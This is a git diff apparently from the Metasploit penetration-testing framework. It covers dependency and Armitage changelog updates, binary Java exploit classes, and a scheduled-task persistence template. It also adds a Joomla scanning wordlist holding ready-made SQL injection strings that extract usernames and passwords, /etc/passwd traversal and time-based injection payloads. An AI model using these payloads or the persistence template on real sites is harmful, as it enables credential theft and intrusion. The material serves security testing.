diff --git a/.travis.yml b/.travis.yml index 6411d11c2256..6b74b25154b0 100644 --- a/.travis.yml +++ b/.travis.yml @@ -6,3 +6,5 @@ rvm: notifications: irc: "irc.freenode.org#msfnotify" +git: + depth: 1 diff --git a/Gemfile b/Gemfile index 52d2e44c5135..3d5f14fe4c89 100755 --- a/Gemfile +++ b/Gemfile @@ -4,10 +4,20 @@ source 'http://rubygems.org' gem 'activesupport', '>= 3.0.0' # Needed for Msf::DbManager gem 'activerecord' +# Needed for some admin modules (scrutinizer_add_user.rb) +gem 'json' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0' +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0' +# Needed by msfgui and other rpc components +gem 'msgpack' +# Needed by anemone crawler +gem 'nokogiri' # Needed for module caching in Mdm::ModuleDetails gem 'pg', '>= 0.11' +# Needed by anemone crawler +gem 'robots' +# For sniffer and raw socket modules +gem 'pcaprub' group :development do # Markdown formatting for yard diff --git a/Gemfile.lock b/Gemfile.lock index 3f4ffb72e03d..c50df873bfab 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,10 +1,10 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: 73f26789500f278dd6fd555e839d09a3b81a05f4 - tag: 0.3.0 + revision: 448c1065329efea1eac76a3897f626f122666743 + tag: 0.4.0 specs: - metasploit_data_models (0.3.0) - activerecord + metasploit_data_models (0.4.0) + activerecord (>= 3.2.10) activesupport pg pry @@ -12,15 +12,15 @@ GIT GEM remote: http://rubygems.org/ specs: - activemodel (3.2.9) - activesupport (= 3.2.9) + activemodel (3.2.11) + activesupport (= 3.2.11) builder (~> 3.0.0) - activerecord (3.2.9) - activemodel (= 3.2.9) - activesupport (= 3.2.9) + activerecord (3.2.11) + activemodel (= 3.2.11) + activesupport (= 3.2.11) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.9) + activesupport (3.2.11) i18n (~> 0.6) multi_json (~> 1.0) arel (3.0.2) @@ -28,8 +28,12 @@ GEM coderay (1.0.8) diff-lcs (1.1.3) i18n (0.6.1) + json (1.7.7) method_source (0.8.1) + msgpack (0.5.2) multi_json (1.0.4) + nokogiri (1.5.6) + pcaprub (0.11.3) pg (0.14.1) pry (0.9.10) coderay (~> 1.0.5) @@ -37,6 +41,7 @@ GEM slop (~> 3.3.1) rake (10.0.2) redcarpet (2.2.2) + robots (0.10.1) rspec (2.12.0) rspec-core (~> 2.12.0) rspec-expectations (~> 2.12.0) @@ -59,10 +64,15 @@ PLATFORMS DEPENDENCIES activerecord activesupport (>= 3.0.0) + json metasploit_data_models! + msgpack + nokogiri + pcaprub pg (>= 0.11) rake redcarpet + robots rspec (>= 2.12) simplecov (= 0.5.4) yard diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar index 5ccd4ac15a74..81c949a109ac 100755 Binary files a/data/armitage/armitage.jar and b/data/armitage/armitage.jar differ diff --git a/data/armitage/cortana.jar b/data/armitage/cortana.jar index 28f15b5fd16d..7c1da6dbfa1c 100644 Binary files a/data/armitage/cortana.jar and b/data/armitage/cortana.jar differ diff --git a/data/armitage/whatsnew.txt b/data/armitage/whatsnew.txt index 5ea39884dd68..55804871ffbd 100755 --- a/data/armitage/whatsnew.txt +++ b/data/armitage/whatsnew.txt @@ -1,6 +1,55 @@ Armitage Changelog ================== +12 Feb 13 (tested against msf 16438) +--------- +- Fixed a corner case preventing the display of removed host labels + when connected to a team server. +- Fixed RPC call cache corruption in team server mode. This bug could + lead to some exploits defaulting to a shell payload when meterpreter + was a possibility. +- Slight optimization to some DB queries. I no longer pull unused + fields making the query marginally faster. Team server is more + efficient too as changes to unused fields won't force data (re)sync. +- Hosts -> Clear Database now clears host labels too. +- Added the ability to manage multiple team server instances through + Armitage. Go to Armitage -> New Connection to connect to another + server. A button bar will appear that allows you to switch active + Armitage connections. + - Credentials available across instances are pooled when using + the [host] -> Login menu and the credential helper. +- Rewrote the event log management code in the team server +- Added nickname tab completion to event log. I feel like I'm writing + an IRC client again. +- Hosts -> Clear Database now asks you to confirm the action. +- Hosts -> Import Hosts announces successful import to event log again. + +23 Jan 13 (tested against msf 16351) +--------- +- Added helpers to set EXE::Custom and EXE::Template options. +- Fixed a bug displaying a Windows 8 icon for Windows 2008 hosts +- Cleaned up Armitage -> SOCKS Proxy job management code. The code to + check if a proxy server is up was deadlock prone. Removed it. +- Starting SOCKS Proxy module now opens a tab displaying the module + start process. An event is posted to the event log too. +- Created an option helper to select credentials for SMBUser, SMBPass, + USERNAME, and PASSWORD. +- Added a feature to label hosts. A label will show up in its own column + in table view or below all info in graph view. Any team member may + change a label through [host] -> host -> Set Label. You may also use + dynamic workspaces to show hosts with certain labels attached. +- Fixed bad things happening when connecting Armitage to 'localhost' and + not '127.0.0.1'. +- Screenshots and Webcam shots are now centered in their tab. +- Added an alternate .bat file to start msfrpcd on Windows in the + Metasploit 4.5 installer's environment. +- Added a color-style for [!] warning messages + +Cortana Updates (for scripters) +-------- +- &handler function now works as advertised. +- Cortana now avoids use of core.setg + 4 Jan 13 (tested against msf 16252) -------- - Added a helper to set REXE option diff --git a/data/exploits/cve-2012-5076_2/B.class b/data/exploits/cve-2012-5076_2/B.class new file mode 100755 index 000000000000..953d5408a7a1 Binary files /dev/null and b/data/exploits/cve-2012-5076_2/B.class differ diff --git a/data/exploits/cve-2012-5076_2/Exploit.class b/data/exploits/cve-2012-5076_2/Exploit.class new file mode 100755 index 000000000000..322c8b2dd5c4 Binary files /dev/null and b/data/exploits/cve-2012-5076_2/Exploit.class differ diff --git a/data/exploits/cve-2012-5088/B.class b/data/exploits/cve-2012-5088/B.class new file mode 100755 index 000000000000..953d5408a7a1 Binary files /dev/null and b/data/exploits/cve-2012-5088/B.class differ diff --git a/data/exploits/cve-2012-5088/Exploit.class b/data/exploits/cve-2012-5088/Exploit.class new file mode 100755 index 000000000000..13d3263fd88e Binary files /dev/null and b/data/exploits/cve-2012-5088/Exploit.class differ diff --git a/data/exploits/docx/[Content_Types].xml b/data/exploits/docx/[Content_Types].xml new file mode 100644 index 000000000000..39a9cb897f0e --- /dev/null +++ b/data/exploits/docx/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/_rels/.rels b/data/exploits/docx/_rels/.rels new file mode 100644 index 000000000000..fdd8c4f37126 --- /dev/null +++ b/data/exploits/docx/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/docProps/app.xml b/data/exploits/docx/docProps/app.xml new file mode 100644 index 000000000000..1580fc2d1a14 --- /dev/null +++ b/data/exploits/docx/docProps/app.xml @@ -0,0 +1,2 @@ + +0103Microsoft Office Outlook000falsefalse0falsefalse12.0000 diff --git a/data/exploits/docx/word/_rels/document.xml.rels b/data/exploits/docx/word/_rels/document.xml.rels new file mode 100644 index 000000000000..0079d06931a7 --- /dev/null +++ b/data/exploits/docx/word/_rels/document.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/document.xml b/data/exploits/docx/word/document.xml new file mode 100644 index 000000000000..81ef41e2f846 --- /dev/null +++ b/data/exploits/docx/word/document.xml @@ -0,0 +1,2 @@ + + diff --git a/data/exploits/docx/word/fontTable.xml b/data/exploits/docx/word/fontTable.xml new file mode 100644 index 000000000000..20e9a398fef8 --- /dev/null +++ b/data/exploits/docx/word/fontTable.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/settings.xml b/data/exploits/docx/word/settings.xml new file mode 100644 index 000000000000..4692c237a851 --- /dev/null +++ b/data/exploits/docx/word/settings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/styles.xml b/data/exploits/docx/word/styles.xml new file mode 100644 index 000000000000..4a084626fc28 --- /dev/null +++ b/data/exploits/docx/word/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/theme/theme1.xml b/data/exploits/docx/word/theme/theme1.xml new file mode 100644 index 000000000000..a06c80529b6c --- /dev/null +++ b/data/exploits/docx/word/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/webSettings.xml b/data/exploits/docx/word/webSettings.xml new file mode 100644 index 000000000000..b4a16977f713 --- /dev/null +++ b/data/exploits/docx/word/webSettings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/s4u_persistence.xml b/data/exploits/s4u_persistence.xml new file mode 100644 index 000000000000..2d736d225e64 --- /dev/null +++ b/data/exploits/s4u_persistence.xml @@ -0,0 +1,50 @@ + + + + DATEHERE + USERHERE + + + + + PT60M + false + + DATEHERE + true + + + + + DOMAINHERE + S4U + LeastPrivilege + + + + Parallel + true + true + true + false + false + + PT10M + PT1H + true + false + + true + true + true + false + false + PT72H + 7 + + + + COMMANDHERE + + + \ No newline at end of file diff --git a/data/gui/msfgui.jar b/data/gui/msfgui.jar index 3fc94594f680..495e0ef2171c 100755 Binary files a/data/gui/msfgui.jar and b/data/gui/msfgui.jar differ diff --git a/data/sql/migrate/20110608113500_add_cred_file_table.rb b/data/sql/migrate/20110608113500_add_cred_file_table.rb deleted file mode 100755 index 9780e261e780..000000000000 --- a/data/sql/migrate/20110608113500_add_cred_file_table.rb +++ /dev/null @@ -1,20 +0,0 @@ -class AddCredFileTable < ActiveRecord::Migration - - def self.up - create_table :cred_files do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :path, :limit => 1024 - t.string :ftype, :limit => 16 - t.string :created_by - t.string :name, :limit => 512 - t.string :desc, :limit => 1024 - - t.timestamps - end - end - - def self.down - drop_table :cred_files - end - -end diff --git a/data/wordlists/joomla.txt b/data/wordlists/joomla.txt new file mode 100755 index 000000000000..b1e651d504bf --- /dev/null +++ b/data/wordlists/joomla.txt @@ -0,0 +1,627 @@ +&controller=../../../../../../../../../../../../[LFI]%00 +?1.5.10-x +?1.5.11-x-http_ref +?1.5.11-x-php-s3lf +?1.5.3-path-disclose +?1.5.3-spam +?1.5.8-x +?1.5.9-x +?j1012-fixate-session +?option=com_mysms&Itemid=0&task=phonebook +Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png +admin/ +administrator/ +administrator/components/ +administrator/components/com_a6mambocredits/ +administrator/components/com_a6mambohelpdesk/ +administrator/components/com_admin/admin.admin.html.php +administrator/components/com_astatspro/refer.php +administrator/components/com_bayesiannaivefilter/ +administrator/components/com_chronocontact/excelwriter/PPS/File.php +administrator/components/com_colophon/ +administrator/components/com_colorlab/ +administrator/components/com_comprofiler/ +administrator/components/com_comprofiler/plugin.class.php +administrator/components/com_cropimage/admin.cropcanvas.php +administrator/components/com_extplorer/ +administrator/components/com_feederator/includes/tmsp/add_tmsp.php +administrator/components/com_googlebase/ +administrator/components/com_installer +administrator/components/com_jcs/ +administrator/components/com_jim/ +administrator/components/com_jjgallery/ +administrator/components/com_joom12pic/ +administrator/components/com_joomla-visites/ +administrator/components/com_joomla_flash_uploader/ +administrator/components/com_joomlaflashfun/ +administrator/components/com_joomlaradiov5/ +administrator/components/com_jpack/ +administrator/components/com_jreactions/ +administrator/components/com_juser/ +administrator/components/com_admin/ +administrator/components/com_kochsuite / +administrator/components/com_linkdirectory/ +administrator/components/com_livechat/getSavedChatRooms.php +administrator/components/com_livechat/xmlhttp.php +administrator/components/com_lurm_constructor/admin.lurm_constructor.php +administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php"); +administrator/components/com_mambelfish/ +administrator/components/com_mgm/ +administrator/components/com_mmp/help.mmp.php +administrator/components/com_mosmedia/ +administrator/components/com_multibanners/extadminmenus.class.php +administrator/components/com_panoramic/ +administrator/components/com_peoplebook/param.peoplebook.php +administrator/components/com_phpshop/toolbar.phpshop.html.php +administrator/components/com_remository/admin.remository.php +administrator/components/com_serverstat/install.serverstat.php +administrator/components/com_simpleswfupload/uploadhandler.php"); +administrator/components/com_swmenupro/ +administrator/components/com_treeg/ +administrator/components/com_uhp/ +administrator/components/com_uhp2/ +administrator/components/com_webring/ +administrator/components/com_wmtgallery/ +administrator/components/com_wmtportfolio/ +administrator/components/com_x-shop/ +administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ +administrator/index.php?option=com_searchlog&act=log +ajaxim/ +akocomments.php +cart?Itemid=[SQLi] +component/com__brightweblinks/ +component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 +component/osproperty/?task=agent_register +component/quran/index.php?option=com_quran&action=viewayat&surano= +components/com_ clickheat/ +components/com_5starhotels/ +components/com_Jambook/jambook.php +components/com_a6mambocredits/ +components/com_a6mambohelpdesk/ +components/com_ab_gallery/ +components/com_acajoom/ +components/com_acctexp/ +components/com_aclassf/ +components/com_activities/ +components/com_actualite/ +components/com_admin/admin.admin.html.php +components/com_advancedpoll/ +components/com_agora/ +components/com_agoragroup/ +components/com_ajaxchat/ +components/com_akobook/ +components/com_akocomment/ +components/com_akogallery +components/com_alberghi/ +components/com_allhotels/ +components/com_alphacontent/ +components/com_altas/ +components/com_amocourse/ +components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php +components/com_articles/ +components/com_artist/ +components/com_artlinks/ +components/com_asortyment/ +components/com_astatspro/ +components/com_awesom/ +components/com_babackup/ +components/com_banners/ +components/com_bayesiannaivefilter/ +components/com_be_it_easypartner/ +components/com_beamospetition/ +components/com_biblestudy/ +components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_blog/ +components/com_bookflip/ +components/com_bookjoomlas/ +components/com_booklibrary/ +components/com_books/ +components/com_bsadv/ +components/com_bsq_sitestats/ +components/com_bsq_sitestats/external/rssfeed.php +components/com_bsqsitestats/ +components/com_calendar/ +components/com_camelcitydb2/ +components/com_candle/ +components/com_casino_blackjack/ +components/com_casino_videopoker/ +components/com_casinobase/ +components/com_catalogproduction/ +components/com_catalogshop/ +components/com_category/ +components/com_cgtestimonial/video.php?url="> +components/com_chronocontact/excelwriter/PPS/File.php +components/com_cinema/ +components/com_clasifier/ +components/com_classifieds/ +components/com_clickheat/ +components/com_cloner/ +components/com_cmimarketplace/ +components/com_cms/ +components/com_colophon/ +components/com_colorlab/ +components/com_competitions/ +components/com_comprofiler/ +components/com_comprofiler/plugin.class.php +components/com_contactinfo/ +components/com_content/ +components/com_cpg/cpg.php +components/com_cropimage/admin.cropcanvas.php +components/com_custompages/ +components/com_cx/ +components/com_d3000/ +components/com_dadamail/ +components/com_dailymessage/ +components/com_datsogallery/ +components/com_dbquery/ +components/com_detail/ +components/com_digistore/ +components/com_directory/ +components/com_djiceshoutbox/ +components/com_doc/ +components/com_downloads/ +components/com_ds-syndicate/ +components/com_dtregister/ +components/com_dv/externals/phpupload/upload.php"); +components/com_easybook/ +components/com_emcomposer/ +components/com_equotes/ +components/com_estateagent/ +components/com_eventing/ +components/com_eventlist/ +components/com_events/ +components/com_ewriting/ +components/com_expose/uploadimg.php +components/com_expshop/ +components/com_extcalendar/ +components/com_extcalendar/cal_popup.php?extmode=view&extid= +components/com_extcalendar/extcalendar.php +components/com_extended_registration/registration_detailed.inc.php +components/com_extplorer/ +components/com_ezine/ +components/com_ezstore/ +components/com_facileforms/ +components/com_fantasytournament/ +components/com_faq/ +components/com_feederator/includes/tmsp/add_tmsp.php +components/com_filebase/ +components/com_filiale/ +components/com_flashfun/ +components/com_flashmagazinedeluxe/ +components/com_flippingbook/ +components/com_flyspray/startdown.php +components/com_fm/fm.install.php +components/com_foevpartners/ +components/com_football/ +components/com_formtool/ +components/com_forum/ +components/com_fq/ +components/com_fundraiser/ +components/com_galeria/ +components/com_galleria/galleria.html.php +components/com_gallery/ +components/com_game/ +components/com_gameq/ +components/com_garyscookbook/ +components/com_genealogy/ +components/com_geoboerse/ +components/com_gigcal/ +components/com_gmaps/ +components/com_googlebase/ +components/com_gsticketsystem/ +components/com_guide/ +components/com_hashcash/server.php +components/com_hbssearch/ +components/com_hello_world/ +components/com_hotproperties/ +components/com_hotproperty/ +components/com_hotspots/ +components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php +components/com_hwdvideoshare/ +components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"); +components/com_ice/ +components/com_idoblog/ +components/com_idvnews/ +components/com_ignitegallery/ +components/com_ijoomla_archive/ +components/com_ijoomla_rss/ +components/com_inter/ +components/com_ionfiles/ +components/com_is/ +components/com_ixxocart/ +components/com_jabode/ +components/com_jashowcase/ +components/com_jb2/ +components/com_jce/ +components/com_jcs/ +components/com_jd-wiki/ +components/com_jd-wp/ +components/com_jim/ +components/com_jjgallery/ +components/com_jmovies/ +components/com_jobline/ +components/com_jombib/ +components/com_joobb/ +components/com_jooget/ +components/com_joom12pic/ +components/com_joomla-visites/ +components/com_joomla_flash_uploader/ +components/com_joomlaboard/ +components/com_joomladate/ +components/com_joomlaflashfun/ +components/com_joomlalib/ +components/com_joomlaradiov5/ +components/com_joomlavvz/ +components/com_joomlaxplorer/ +components/com_joomloads/ +components/com_joomradio/ +components/com_joomtracker/ +components/com_joovideo/ +components/com_jotloader/ +components/com_journal/ +components/com_jpack/ +components/com_jpad/ +components/com_jreactions/ +components/com_jreviews/scripts/xajax.inc.php +components/com_jumi/ +components/com_juser/ +components/com_jvideo/ +components/com_k2/ +components/com_kbase/ +components/com_knowledgebase/fckeditor/fckeditor.js +components/com_kochsuite / +components/com_kunena/ +components/com_letterman/ +components/com_lexikon/ +components/com_linkdirectory/ +components/com_listoffreeads/ +components/com_livechat/getSavedChatRooms.php +components/com_livechat/xmlhttp.php +components/com_liveticker/ +components/com_lm/ +components/com_lmo/ +components/com_loudmounth/includes/abbc/abbc.class.php +components/com_loudmouth/ +components/com_lowcosthotels/ +components/com_lurm_constructor/admin.lurm_constructor.php +components/com_mad4joomla/ +components/com_madeira/img.php +components/com_maianmusic/ +components/com_mailarchive/ +components/com_mailto/ +components/com_mambatstaff/mambatstaff.php +components/com_mambelfish/ +components/com_mambospgm/ +components/com_mambowiki/MamboLogin.php +components/com_marketplace/ +components/com_mcquiz/ +components/com_mdigg/ +components/com_media_library/ +components/com_mediaslide/ +components/com_mezun/ +components/com_mgm/ +components/com_minibb/ +components/com_misterestate/ +components/com_mmp/help.mmp.php +components/com_model/ +components/com_moodle/moodle.php +components/com_moofaq/ +components/com_mosmedia/ +components/com_mospray/scripts/admin.php +components/com_mosres/ +components/com_most/ +components/com_mp3_allopass/ +components/com_mtree/ +components/com_mtree/img/listings/o/{id}.php +components/com_multibanners/extadminmenus.class.php +components/com_myalbum/ +components/com_mycontent/ +components/com_mydyngallery/ +components/com_mygallery/ +components/com_n-forms/ +components/com_na_content/ +components/com_na_mydocs/ +components/com_na_newsdescription/ +components/com_na_qforms/ +components/com_neogallery/ +components/com_neorecruit/ +components/com_neoreferences/ +components/com_netinvoice/ +components/com_news/ +components/com_news_portal/ +components/com_newsflash/ +components/com_nfn_addressbook/ +components/com_nicetalk/ +components/com_noticias/ +components/com_omnirealestate/ +components/com_omphotogallery/ +components/com_ongumatimesheet20/ +components/com_onlineflashquiz/ +components/com_ownbiblio/ +components/com_panoramic/ +components/com_paxgallery/ +components/com_paxxgallery/ +components/com_pcchess/ +components/com_pcchess/include.pcchess.php +components/com_pccookbook/ +components/com_pccookbook/pccookbook.php +components/com_peoplebook/param.peoplebook.php +components/com_performs/ +components/com_philaform/ +components/com_phocadocumentation/ +components/com_php/ +components/com_phpshop/toolbar.phpshop.html.php +components/com_pinboard/ +components/com_pms/ +components/com_poll/ +components/com_pollxt/ +components/com_ponygallery/ +components/com_portafolio/ +components/com_portfol/ +components/com_prayercenter/ +components/com_pro_desk/ +components/com_prod/ +components/com_productshowcase/ +components/com_profiler/ +components/com_projectfork/ +components/com_propertylab/ +components/com_puarcade/ +components/com_publication/ +components/com_quiz/ +components/com_rapidrecipe/ +components/com_rdautos/ +components/com_realestatemanager/ +components/com_recly/ +components/com_referenzen/ +components/com_rekry/ +components/com_remository/admin.remository.php +components/com_remository_files/file_image_14/1276100016shell.php +components/com_reporter/processor/reporter.sql.php +components/com_resman/ +components/com_restaurante/ +components/com_ricette/ +components/com_rsfiles/ +components/com_rsgallery/ +components/com_rsgallery2/ +components/com_rss/ +components/com_rssreader/ +components/com_rssxt/ +components/com_rwcards/ +components/com_school/ +components/com_search/ +components/com_sebercart/getPic.php?p=[LFD]%00 +components/com_securityimages/ +components/com_sef/ +components/com_seminar/ +components/com_serverstat/install.serverstat.php +components/com_sg/ +components/com_simple_review/ +components/com_simpleboard/ +components/com_simplefaq/ +components/com_simpleshop/ +components/com_sitemap/sitemap.xml.php +components/com_slideshow/ +components/com_smf/ +components/com_smf/smf.php +components/com_swmenupro/ +components/com_team/ +components/com_tech_article/ +components/com_thopper/ +components/com_thyme/ +components/com_tickets/ +components/com_tophotelmodule/ +components/com_tour_toto/ +components/com_trade/ +components/com_uhp/ +components/com_uhp2/ +components/com_user/controller.php +components/com_users/ +components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php +components/com_vehiclemanager/ +components/com_versioning / +components/com_videodb/core/videodb.class.xml.php +components/com_virtuemart/ +components/com_volunteer/ +components/com_vr/ +components/com_waticketsystem/ +components/com_webhosting/ +components/com_weblinks/ +components/com_webring/ +components/com_wmtgallery/ +components/com_wmtportfolio/ +components/com_x-shop/ +components/com_xevidmegahd/ +components/com_xewebtv/ +components/com_xfaq/ +components/com_xgallery/helpers/img.php?file= +components/com_xsstream-dm/ +components/com_ynews/ +components/com_yvcomment/ +components/com_zoom/classes/ +components/mod_letterman/ +components/remository/ +eXtplorer/ +easyblog/entry/uncategorized +extplorer/ +components/com_mtree/img/listings/o/{id}.php where {id} +includes/joomla.php +index.php/404' +index.php/?option=com_question&catID=21' and+1=0 union all +index.php/image-gallery/">/25-koala +index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 +index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view +index.php?option=com_aardvertiser&cat_name=conf&task=<= +index.php?option=com_aardvertiser&task= +index.php?option=com_abc&view=abc&letter=AS§ionid=' +index.php?option=com_advert&id=36' +index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users-- +index.php?option=com_alfurqan15x&action=viewayat&surano= +index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version +index.php?option=com_annonces&view=edit&Itemid=1 +index.php?option=com_articleman&task=new +index.php?option=com_bbs&bid=-1 +index.php?option=com_beamospetition&startpage=3&pet=- +index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users- +index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27 +index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1 +index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users-- +index.php?option=com_chronoconnectivity&itemid=1 +index.php?option=com_chronocontact&itemid=1 +index.php?option=com_cinema&Itemid=S@BUN&func=detail&id= +index.php?option=com_clantools&squad=1+ +index.php?option=com_clantools&task=clanwar&showgame=1+ +index.php?option=com_commedia&format=raw&task=image&pid=4&id=964' +index.php?option=com_commedia&task=page&commpid=21 +index.php?option=com_connect&view=connect&controller= +index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../ +index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_dioneformwizard&controller=[LFI]%00 +index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1 +index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12 +index.php?option=com_easyfaq&Itemid=1&task=view&gid= +index.php?option=com_easyfaq&catid=1&task=view&id=-2527+ +index.php?option=com_easyfaq&task=view&contact_id= +index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id= +index.php?option=com_equipment&task=components&id=45&sec_men_id= +index.php?option=com_equipment&view=details&id= +index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli] +index.php?option=com_etree&view=displays&layout=category&id=[SQL] +index.php?option=com_etree&view=displays&layout=user&user_id=[SQL] +index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1 +index.php?option=com_fabrik&view=table&tableid=13+union+select+1---- +index.php?option=com_filecabinet&task=download&cid[]=7 +index.php?option=com_firmy&task=section_show_set&Id=-1 +index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R +index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id= +index.php?option=com_graphics&controller= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp= +index.php?option=com_huruhelpdesk&view=detail +index.php?option=com_huruhelpdesk&view=detail&cid[0]= +index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1 +index.php?option=com_iproperty&view=agentproperties&id= +index.php?option=com_jacomment&view= +index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00 +index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_jcommunity&controller=members&task=1' +index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13 +index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2 +index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2 +index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00 +index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_jfuploader&Itemid= +index.php?option=com_jgen&task=view&id= +index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00 +index.php?option=com_jimtawl&Itemid=12&task= +index.php?option=com_jmarket&controller=product&task=1' +index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1' +index.php?option=com_jomdirectory&task=search&type=111+ +index.php?option=com_joomdle&view=detail&cat_id=1&course_id= +index.php?option=com_joomla_flash_uploader&Itemid=1 +index.php?option=com_joomleague&func=showNextMatch&p=[sqli] +index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli] +index.php?option=com_joomtouch&controller= +index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00 +index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00 +index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users +index.php?option=com_jstore&controller=product-display&task=1' +index.php?option=com_jsubscription&controller=subscription&task=1' +index.php?option=com_jtickets&controller=ticket&task=1' +index.php?option=com_konsultasi&act=detail&sid= +index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en +index.php?option=com_kunena&func=userlist&search= +index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1' +index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users-- +index.php?option=com_matamko&controller= +index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm +index.php?option=com_neorecruit&task=offer_view&id= +index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- +index.php?option=com_noticeboard&controller= +index.php?option=com_obsuggest&controller= +index.php?option=com_ongallery&task=ft&id=-1+order+by+1-- +index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- +index.php?option=com_oziogallery&Itemid= +index.php?option=com_page&id=53 +index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection] +index.php?option=com_phocagallery&view=categories&Itemid= +index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_php&file=../../../../../../../../../../etc/passwd +index.php?option=com_php&file=../images/phplogo.jpg +index.php?option=com_php&file=../js/ie_pngfix.js +index.php?option=com_ponygallery&Itemid=[sqli] +index.php?option=com_products&catid=-1 